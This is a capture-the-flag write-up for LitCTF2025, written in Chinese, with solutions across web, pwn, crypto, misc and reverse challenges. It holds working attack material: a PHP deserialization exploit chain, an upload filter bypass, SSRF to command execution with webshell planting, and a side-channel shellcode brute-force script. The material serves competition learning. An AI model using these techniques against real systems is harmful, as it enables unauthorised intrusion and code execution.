LitCTF2025 WP

LitCTF

web

nest_js

爆破账号密码,admin:password

登入就有flag

image-20250525154914269

星愿信箱

过滤了{{的ssti

image-20250525155244988

多重宇宙日记

注册账号a,a,登入在个人资料处看源代码

        // 更新表单的JS提交
        document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
            event.preventDefault();
            const statusEl = document.getElementById('updateStatus');
            const currentSettingsEl = document.getElementById('currentSettings');
            statusEl.textContent = '正在更新...';

            const formData = new FormData(event.target);
            const settingsPayload = {};
            // 构建 settings 对象,只包含有值的字段
            if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
            if (formData.get('language')) settingsPayload.language = formData.get('language');
            // ...可以添加其他字段

            try {
                const response = await fetch('/api/profile/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
                });
                const result = await response.json();
                if (response.ok) {
                    statusEl.textContent = '成功: ' + result.message;
                    currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
                    // 刷新页面以更新导航栏(如果isAdmin状态改变)
                    setTimeout(() => window.location.reload(), 1000);
                } else {
                    statusEl.textContent = '错误: ' + result.message;
                }
            } catch (error) {
                statusEl.textContent = '请求失败: ' + error.toString();
            }
        });

        // 发送原始JSON的函数
        async function sendRawJson() {
            const rawJson = document.getElementById('rawJsonSettings').value;
            const statusEl = document.getElementById('rawJsonStatus');
            const currentSettingsEl = document.getElementById('currentSettings');
            statusEl.textContent = '正在发送...';
            try {
                const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
                const response = await fetch('/api/profile/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
                });
                const result = await response.json();
                if (response.ok) {
                    statusEl.textContent = '成功: ' + result.message;
                    currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
                     // 刷新页面以更新导航栏(如果isAdmin状态改变)
                    setTimeout(() => window.location.reload(), 1000);
                } else {
                    statusEl.textContent = '错误: ' + result.message;
                }
            } catch (error) {
                 statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
            }
        }

因为题目说考原型链污染,根据源码的要求的格式,构造如下payload

image-20250525155655270

image-20250525155825734

easy_file

又是爆破账号密码,admin:password,发现是文件上传,测试过滤了<?php,换成<?就可以

image-20250525160347128

在admin.php下可以存在file参数可以任意文件读取(根据题目名猜的,难绷),并且是include,那么说明读取的文件会被当成php文件执行。

image-20250525160937310

君の名は

 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
} 

利用点就在create_function("", 'die(/readflag);');,他会生成一个匿名函数,我们的目的就是去掉用这个匿名函数,第一关参考https://chenxi9981.github.io/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

exp:

<?php

class Taki
{
  public $musubi;
  public $magic;
}

class Mitsuha
{
  public $memory;
  public $thread;
}

class KatawareDoki

{
  public $soul;
  public $kuchikamizake;
  public $name;
}

$a=new Taki();
$a->musubi=new Mitsuha();
$a->musubi->memory=new KatawareDoki();
$a->musubi->memory->kuchikamizake="ReflectionFunction";
$a->musubi->memory->name="\00lambda_50";
$a->musubi->memory->soul=new Taki();
$a->musubi->memory->soul->musubi='time';
$a->musubi->memory->soul->magic="invoke";
$aa=new Arrayobject($a);
$payload=serialize($aa);
$payload=str_replace("\00","%00",$payload);
echo $payload;

image-20250525171106360

easy_signin

扫描目录得到login.html,在源码处看到/api.js,得到/api/sys/urlcode.php?url=,不知道有什么用,尝试登入,输入admin显示密码错误,爆破密码为admin123,显示签名错误

login.html的登入逻辑

 const loginBtn = document.getElementById('loginBtn');
        const passwordInput = document.getElementById('password');
        const errorTip = document.getElementById('errorTip');
        const rawUsername = document.getElementById('username').value; 

     
        loginBtn.addEventListener('click', async () => {
            const rawPassword = passwordInput.value.trim();
            if (!rawPassword) {
                errorTip.textContent = '请输入密码';
                errorTip.classList.add('show');
                passwordInput.focus();
                return;
            }

            const md5Username = CryptoJS.MD5(rawUsername).toString();   
            const md5Password = CryptoJS.MD5(rawPassword).toString();   

     
            const shortMd5User = md5Username.slice(0, 6);  
            const shortMd5Pass = md5Password.slice(0, 6);  

          
            const timestamp = Date.now().toString(); //五分钟

       
            const secretKey = 'easy_signin';  
            const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

            try {
                const response = await fetch('login.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                        'X-Sign': sign  
                    },
                    body: new URLSearchParams({
                        username: md5Username,   
                        password: md5Password,   
                        timestamp: timestamp
                    })
                });

                const result = await response.json();
                if (result.code === 200) {
                    alert('登录成功!');
                    window.location.href = 'dashboard.php'; 
                } else {
                    errorTip.textContent = result.msg;
                    errorTip.classList.add('show');
                    passwordInput.value = '';
                    passwordInput.focus();
                    setTimeout(() => errorTip.classList.remove('show'), 3000);
                }
            } catch (error) {
                errorTip.textContent = '网络请求失败';
                errorTip.classList.add('show');
                setTimeout(() => errorTip.classList.remove('show'), 3000);
            }
        });

        passwordInput.addEventListener('input', () => {
            errorTip.classList.remove('show');
        });

发现还需要爆破时间戳,exp

import hashlib
import time
import requests

# 目标地址
url = "http://node9.anna.nssctf.cn:23017/login.php"  # ← 改成你的实际地址

# 固定信息
username = "admin"
password = "admin123"
secret_key = "easy_signin"

# 当前时间戳(单位:毫秒)
timestamp = str(int(time.time() * 1000))

# 加密处理
md5_username = hashlib.md5(username.encode()).hexdigest()
md5_password = hashlib.md5(password.encode()).hexdigest()

short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]

sign_raw = short_md5_user + short_md5_pass + timestamp + secret_key
sign = hashlib.md5(sign_raw.encode()).hexdigest()

# 构造请求头和数据
headers = {
    "X-Sign": sign
}

data = {
    "username": md5_username,
    "password": md5_password,
    "timestamp": timestamp
}

# 发起请求
response = requests.post(url, headers=headers, data=data)

try:
    print("[响应状态码]:", response.status_code)
    print("[响应内容]:", response.text)
    print(timestamp)
    print(sign)
except Exception as e:
    print("[错误]:", e)

for key, value in response.headers.items():
    print(f"{key}: {value}")

image-20250525172233323

成功,浏览器放包得到文件,访问

image-20250525172552714

想到前面的/api/sys/urlcode.php?url=,尝试

/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250525172721996

可以执行命令,不能有空格尝试${IFS},没找到flag,尝试写马

1c9b20cc39c9d40e8dc4dfa39bb96215

上蚁剑

image-20250525172906308

pwn

test_you_nc

image-20250525104009236

shellcode

沙盒保护只允许使用read和open打侧信道爆破

from pwn import *
import sys

context.arch = 'amd64'
s = "{}0123456789-_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
list = [ord(x) for x in s]
flag = ""

def log_info(message, status=None):
    """带颜色的日志输出函数"""
    color_codes = {
        'success': '\033[92m',  # 绿色
        'error': '\033[91m',    # 红色
        'warning': '\033[93m',  # 黄色
        None: '\033[95m'        # 紫色(默认)
    }
    color = color_codes.get(status, '\033[95m')
    print(f"{color}[*] {message}\033[0m")

shellcode = """
mov rdi, 0x67616c662f2e
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov bl, byte ptr [rsp+{}]
cmp bl, {}
jz $-0x3 
"""

index = 0
MAX_RETRY = 3  # 最大重试次数

while True:
    for i in range(len(s)):
        retry_count = MAX_RETRY
        success = False
        
        while retry_count > 0 and not success:
            p = None
            try:
                # 创建新连接
                p = process('./pwn')
                # p = remote('node10.anna.nssctf.cn', 25611)
                
                # 发送payload
                payload = asm(shellcode.format(index, list[i]))
                p.sendlineafter(b'Please input your shellcode: \n', payload)  # 注意这里要发送bytes

                # 接收判断
                try:
                    judge = p.recv(timeout=3)  # 缩短超时时间
                except EOFError:
                    log_info(f"字符 {s[i]} 导致崩溃,正在重试 ({MAX_RETRY-retry_count+1}/{MAX_RETRY})", 'warning')
                    p.close()
                    retry_count -= 1
                    continue
                
                # 判断逻辑
                if not judge:
                    flag += s[i]
                    log_info(f"当前进度: {flag}", 'success')
                    index += 1
                    success = True
                p.close()
                
            except Exception as e:
                log_info(f"未知错误: {str(e)}", 'error')
                if p:
                    p.close()
                retry_count -= 1
            finally:
                if p:
                    p.close()

        if success:
            break
                
    if '}' in flag:
        log_info(f"最终flag: {flag}", 'success')
        sys.exit(0)

#  当前进度: {b82ab22b-b373-489e-ac74-6c3fb26e82cf}

CRYPTO

basic

from Crypto.Util.number import long_to_bytes, inverse

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

# Since n is prime, φ(n) = n - 1
phi_n = n - 1
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())
#LitCTF{ee2c30dfe684f13a6e6c07b9ec90cc2c}

ez_math

```python
from Crypto.Util.number import long_to_bytes, inverse

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

# Since n is prime, φ(n) = n - 1
phi_n = n - 1
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())
#LitCTF{ee2c30dfe684f13a6e6c07b9ec90cc2c}

math

题目给出了三个式子

\[tmp1=noise*p+noise*q\\ tmp2=noise^2\\ hint=p*q+tmp1+tmp2 \]

我们对等式进行变形

\[tmp1+tmp2=noise*(p+q+noise)=hint-n \]

那么减去\(n\)之后的\(hint\)值就是两个数之积了,同时noise很小,yafu在有限的时间内可以分解,但是factordb上存有已有的分解

19
942430120937
13942360585323048470909846656964572704513299405546046811010328770033198426421576349568926279384369628072261252513038693891801832793244205614823946991510903118232135334563566099595180800155562142673080500174590397281272043792295225345391996291640336108556360227747859478557651612788250116887738800942290148741

第二个就是noise,第三个就是p+q,直接解方程得到pq,然后rsa

from z3 import *

def recover_factors_z3(n_val, s_val):
    p = Int('p')
    q = Int('q')

    solver = Solver()
    solver.add(p * q == n_val)
    solver.add(p + q == s_val)
    solver.add(p > 1, q > 1)

    if solver.check() == sat:
        model = solver.model()
        pv = model[p].as_long()
        qv = model[q].as_long()
        return min(pv, qv), max(pv, qv)
    else:
        return None

n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141       
pplusq = 264904851121137920947287086482326881385752688705374889409196246630630770102009950641809599308303022933372963797747735183944234823071639906681654992838707159246410571356707755892308435202955680710788529503317217548344168832053609281562447929541166386062570844327209330092595380642976752220867037216961082705142     

res = recover_factors_z3(n, pplusq)
if res:
    p, q = res
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    flag = long_to_bytes(pow(c, d, n))
    print(f"[+] p = {p}")
    print(f"[+] q = {q}")
    print(flag)

leak

题目其实就是e很大的dp高位泄露

\[ed_p \equiv 1 \mod p-1\\ e(d_{phigh} + x) \equiv 1 \mod p-1\\ e(d_{phigh} + x) = k(p-1) + 1\\ e(d_{phigh}+x) + k - 1\equiv 0 \mod p \]

注意x是180比特,k是和e差不多大的约为101比特

from Crypto.Util.number import *
import gmpy2
import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        print(d)
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

e = 1915595112993511209389477484497
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
leak = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930

leak = leak << 180
R.<x,y> = PolynomialRing(Zmod(n))
f = e * (leak + x) + (y - 1)
res = small_roots(f,(2^180,2^101),m=1,d=3)
for root in res:
    dp_low = root[0]
    dp = leak + dp_low
    tmp = pow(2,e*dp,n) - 2
    p = gmpy2.gcd(tmp,n)
    q = n // p
    d = inverse(e,(p-1)*(q-1))
    m = pow(c,d,n)
    print(long_to_bytes(m))

Misc

Cropping

先是伪加密,利用工具直接修复

image-20250525182007527

直接截图扫描

image-20250525182050463

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

根据题目前端源码提示,直接用探姬脚本

image-20250525182315873

image-20250525182259090

像素中的航班

image-20250525182427416
Litctf出发地当然是郑州了 地点为福州 试一下

bae84f2cbf9889aa4438e9409064c538

消失的文字

image-20250526093728290

放到USB流量分析,usbhid提取所有按键

image-20250526093747666

把鼠标轨迹保存后旋转一下,看起来像是镜像了

image-20250526093839303

用photoshop处理一下看到一些字符

image-20250526093857395
能确定的是868F-83和后面的-FF
中间的两位不确定是80还是BD,用ARCHRP掩码爆破一下得到密码

image-20250526093936248

解压txt之后看到一些特殊字符,但是也有一些规律,f3a084开头与f3a085开头,后面跟一个大于0x80的字符。

写一个脚本,如果0xf3 0xa0之后是0x85,那0x85下一个字节加0xd0,如果是0x84,那0x84下一个字节加0x90,然后把这些字节放到2.txt

def process_file(input_file, output_file):
    with open(input_file, 'rb') as f_in, open(output_file, 'wb') as f_out:
        data = f_in.read()
        i = 0
        while i < len(data) - 3:  # 需要至少4字节: f3 a0 (84/85) XX
            # 检查是否匹配 0xf3 0xa0
            if data[i] == 0xf3 and data[i+1] == 0xa0:
                opcode = data[i+2]
                
                # 确定要加的值
                if opcode == 0x85:
                    add_value = 0xd0
                elif opcode == 0x84:
                    add_value = 0x90
                else:
                    i += 1
                    continue
                
                # 处理下一个字节
                if i + 3 < len(data):
                    original_byte = data[i+3]
                    result_byte = (original_byte + add_value) % 256  # 防止溢出
                    f_out.write(bytes([result_byte]))
                
                i += 4  # 跳过已处理的4字节
            else:
                i += 1

process_file('hidden-word.txt', '2.txt')
print("处理完成!结果字节已保存到2.txt")

得到flag

image-20250526094344467

LitCTF{39553317-df30-4951-8aad-fcaf3028ca9d}

REVERSE

easy_rc4

密文跟key

9409755c4a294b4a2e7ff8408e8e4389

赛博厨子一把梭

ebee7e76b0b7ba87092a70af3ae799b4

FeatureExtraction

调试

image-20250525230425310

发现输入的地方
输入长度要是44
关键的比较就是

image-20250525230459154

第三个参数是

image-20250525230541432

继续跟进是乘法和数组索引相关的操作

image-20250525230621830

密文

image-20250525230728682

import numpy as np
key_bytes = b'LitCTF2025'
key_length = len(key_bytes)
encoded_vector = [
    5776, 15960, 28657, 34544, 40294, 43824, 51825, 53033, 58165, 58514,
    61949, 56960, 53448, 49717, 47541, 45519, 40607, 40582, 38580, 42320,
    41171, 41269, 39370, 44224, 48760, 49558, 48128, 46531, 47088, 46181,
    46707, 46879, 48098, 52047, 53933, 56864, 60564, 64560, 66744, 63214,
    60873, 58245, 55179, 56857, 51532, 44308, 32392, 27577, 19654, 14342,
    11721, 9112, 6625
]
message_length = 44
equation_count = len(encoded_vector)
coefficient_matrix = np.zeros((equation_count, message_length), dtype=int)
for col in range(message_length):
    for offset in range(key_length):
        coefficient_matrix[col + offset][col] = key_bytes[offset]

encoded_array = np.array(encoded_vector)
decoded_floats, _, _, _ = np.linalg.lstsq(coefficient_matrix, encoded_array, rcond=None)
decoded_bytes = bytes([round(val) for val in decoded_floats])
print(decoded_bytes)

easy_tea

点开ida很明显的一片红

修复一下花指令

nop掉

image-20250526093111570

修复好的如图

image-20250526093137172
加密和验证逻辑在这个两个函数里

image-20250526093208295

很明显的tea了

image-20250526093225936
写解密脚本

#include <stdio.h>
 #include <stdint.h>
 //解密函数
 void decrypt (uint32_t* v, uint32_t* k) {
     uint32_t v0=v[0], v1=v[1], i; 
 	uint32_t delta=0x114514;  
 	uint32_t sum=delta*32;                 
     uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
     for (i=0; i<32; i++) {                         /* basic cycle start */
         v1 -= (k[3] + (v0 >> 5)) ^ (sum+ v0) ^ (k[2] + 16 * v0);
         v0 -= (k[1] + (v1 >> 5)) ^ (sum+ v1) ^ (*k + 16 * v1);
         sum-= 0x114514;
     }                                              /* end cycle */
     v[0]=v0; v[1]=v1;
 }
 void encrypt (uint32_t* v, uint32_t* k) {
     uint32_t v0=v[0], v1=v[1], i; 
 	uint32_t delta=0x61C88747;  
 	uint32_t sum=-delta*0x40;                 
     uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
     for (i=0; i<0x40; i++) {                         /* basic cycle start */
         v1 -= v0 ^ (k [((sum >> 11) & 3)] + sum) ^ (v0 + ((v0 >> 5) ^ (v0<<4)));
         sum += 0x61C88747;
         v0 -= v1 ^ (k[ (sum & 3)] + sum) ^ (v1 + ((v1 >> 5) ^ ( v1 <<4 )));
     }                                              /* end cycle */
     v[0]=v0; v[1]=v1;
 }
  int main() {
     uint32_t key[]={0x11223344,0x55667788,0x99AABBCC,0xDDEEFF11};
 	uint32_t enc[40]={0x977457FE, 0xDA3E1880, 0xB8169108, 0x1E95285C, 0x1FE7E6F2, 0x2BC5FC57, 0xB28F0FA8, 0x8E0E0644, 0x68454425, 0xC57740D9};
 	for (size_t i = 0; i < 10; i+=2)
 	{
 		decrypt(enc+i,key);
 
 	}
 	puts((char*)enc);
 	
 }

pickle

Python 的 pickle 模块是用于将 Python 对象序列化和反序列化的模块。序列化是将对象转换为字节流的过程,以便可以将其保存到文件或通过网络传输。反序列化则是相反的过程,将字节流恢复为 Python 对象。
恢复一下

  5 0 RESUME 0
 6 2 LOAD_GLOBAL 1 (NULL + input)
 14 LOAD_CONST 1 ('input your flag > ')
 16 PRECALL 1
 20 CALL 1
 30 LOAD_METHOD 1 (encode)
 52 PRECALL 0
 56 CALL 0
 66 STORE_FAST 0 (user_input)
 8 68 BUILD_LIST 0
 70 STORE_FAST 1 (decrypted)
 9 72 LOAD_GLOBAL 5 (NULL + range)\n84 LOAD_GLOBAL 7 (NULL + len)
 96 LOAD_FAST 0 (user_input)
 98 PRECALL 1
 102 CALL 1
 112 PRECALL 1
 116 CALL 1
 126 GET_ITER
 >> 128 FOR_ITER 34 (to 198)
 130 STORE_FAST 2 (i)
 10 132 LOAD_FAST 0 (user_input)
 134 LOAD_FAST 2 (i)
 136 BINARY_SUBSCR
 146 LOAD_CONST 2 (6)
 148 BINARY_OP 10 (-)
 152 STORE_FAST 3 (b)
 11 154 LOAD_FAST 1 (decrypted)
 156 LOAD_METHOD 4 (append)
 178 LOAD_FAST 3 (b)
 180 PRECALL 1
 184 CALL 1
 194 POP_TOP
 196 JUMP_BACKWARD 35 (to 128)
 13 >> 198 BUILD_LIST 0
 200 LOAD_CONST 3 ((85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231, 213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16, 242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150, 225, 63, 29, 242, 169))
 202 LIST_EXTEND 1
 204 STORE_FAST 4 (fflag)
 14 206 BUILD_LIST 0
 208 LOAD_CONST 4 ((19, 55, 192, 222, 202, 254, 186, 190))
 210 LIST_EXTEND 1
 212 STORE_FAST 5 (key_ints)
 16 214 LOAD_CONST 5 (<code object encrypt at 0x0000019CC7F9DFD0, file "d:\code\PYTHON\IPParser1.py", line 16>)
 216 MAKE_FUNCTION 0
 218 STORE_FAST 6 (encrypt)
 23 220 PUSH_NULL
 222 LOAD_FAST 6 (encrypt)
 224 LOAD_FAST 4 (fflag)
 226 LOAD_FAST 5 (key_ints)
 228 PRECALL 2
 232 CALL 2
 242 STORE_FAST 7 (encrypted_flag)
 25 244 LOAD_FAST 1 (decrypted)
 246 LOAD_FAST 7 (encrypted_flag)
 248 COMPARE_OP 2 (==)
 254 POP_JUMP_FORWARD_IF_FALSE 17 (to 290)
 26 256 LOAD_GLOBAL 11 (NULL + print)
 268 LOAD_CONST 6 ('Good job! You made it!')
 270 PRECALL 1
 274 CALL 1
 284 POP_TOP
 286 LOAD_CONST 0 (None)
 288 RETURN_VALUE
 28 >> 290 LOAD_GLOBAL 11 (NULL + print)
 302 LOAD_CONST 7 ("Nah, don't give up!")
 304 PRECALL 1
 308 CALL 1
 318 POP_TOP
 320 LOAD_CONST 0 (None)
 322 RETURN_VALUE
Disassembly of <code object encrypt at 0x0000019CC7F9DFD0, file "d:\code\PYTHON\IPParser1.py", line 16>:
 16 0 RESUME 0
 17 2 BUILD_LIST 0
 4 STORE_FAST 2 (result)
 18 6 LOAD_GLOBAL 1 (NULL + range)
 18 LOAD_GLOBAL 3 (NULL + len)
 30 LOAD_FAST 0 (flag_bytes)
 32 PRECALL 1
 36 CALL 1
 46 PRECALL 1
 50 CALL 1
 60 GET_ITER
 >> 62 FOR_ITER 56 (to 176)
 64 STORE_FAST 3 (i)
 19 66 LOAD_FAST 0 (flag_bytes)
 68 LOAD_FAST 3 (i)
 70 BINARY_SUBSCR
 80 LOAD_FAST 1 (key)
 82 LOAD_FAST 3 (i)
 84 LOAD_GLOBAL 3 (NULL + len)
 96 LOAD_FAST 1 (key)
 98 PRECALL 1
 102 CALL 1
 112 BINARY_OP 6 (%)
 116 BINARY_SUBSCR
 126 BINARY_OP 12 (^)
 130 STORE_FAST 4 (b)
 20 132 LOAD_FAST 2 (result)
 134 LOAD_METHOD 2 (append)
 156 LOAD_FAST 4 (b)
 158 PRECALL 1
 162 CALL 1
 172 POP_TOP
 174 JUMP_BACKWARD 57 (to 62)
 21 >> 176 LOAD_FAST 2 (result)
 178 RETURN_VALUE

其实就是个简单xor 然后加减常数

a=[85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231, 213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16, 242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150, 225, 63, 29, 242, 169]
b=[19, 55, 192, 222, 202, 254, 186, 190]
for i in range(len(a)):
    a[i] = a[i] ^ b[i % len(b)]
    print(chr(a[i]+6), end='')
posted @ 2025-05-27 10:29  Rxuxin  阅读(488)  评论(0)    收藏  举报